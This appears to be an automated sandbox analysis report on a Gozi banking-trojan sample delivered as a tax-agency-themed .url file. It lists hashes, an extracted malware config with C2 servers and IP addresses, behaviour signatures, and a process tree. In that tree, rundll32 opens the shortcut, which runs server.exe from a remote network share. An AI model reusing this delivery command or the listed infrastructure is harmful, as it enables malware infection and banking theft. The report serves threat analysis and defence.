Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/03/2023, 10:59

General

  • Target
    Agenzia_Entrate/Agenzia_Entrate.url
  • Size 192B
  • Sample230302-m3erpace93
  • SHA256 6537bdbd6b350022b95421209e5eb8cfd851a556904dd5b7b8a9189b21d40efb
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gozi

Botnet
  • 7709

C2
  • checklist.skype.com

  • 62.173.141.252

  • 31.41.44.33

  • 109.248.11.112

Attributes
  • base_path

    /drew/

  • build

    250255

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family
  • gozi

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Agenzia_Entrate\Agenzia_Entrate.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4800
    • \??\UNC\46.8.19.235\Agenzia\server.exe
      "\\46.8.19.235\Agenzia\server.exe"
      2⤵
        PID:3040

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/3040-134-0x0000000002C80000-0x0000000002C8B000-memory.dmp

          memory/3040-135-0x0000000002CA0000-0x0000000002CAD000-memory.dmp

          memory/3040-138-0x0000000000400000-0x0000000002BB3000-memory.dmp